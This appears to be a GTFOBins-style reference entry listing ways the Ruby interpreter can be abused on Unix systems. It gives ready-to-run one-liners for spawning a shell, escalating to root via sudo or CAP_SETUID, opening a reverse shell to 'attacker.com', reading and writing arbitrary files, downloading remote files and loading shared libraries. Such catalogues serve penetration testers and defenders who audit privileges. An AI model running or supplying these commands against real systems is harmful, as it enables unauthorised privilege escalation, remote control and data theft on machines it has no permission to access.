This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
ruby -e 'exec "/bin/sh"'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ruby -e 'exec "/bin/sh"'
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.
The following capabilities are needed:
CAP_SETUID.
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
This executable can send back a reverse system shell to a listening attacker.
This function can be performed by any unprivileged user.
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
This executable can write data to local files.
This function can be performed by any unprivileged user.
ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }'
This executable can read data from local files.
This function can be performed by any unprivileged user.
ruby -e 'puts File.read("/path/to/input-file")'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ruby -e 'puts File.read("/path/to/input-file")'
This executable can upload local data.
This function can be performed by any unprivileged user.
ruby -run -e httpd . -p 80
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ruby -run -e httpd . -p 80
This executable can download remote data.
This function can be performed by any unprivileged user.
ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")'
This executable can load shared libraries that may be used to run arbitrary code in the same execution context.
This function can be performed by any unprivileged user.
ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")'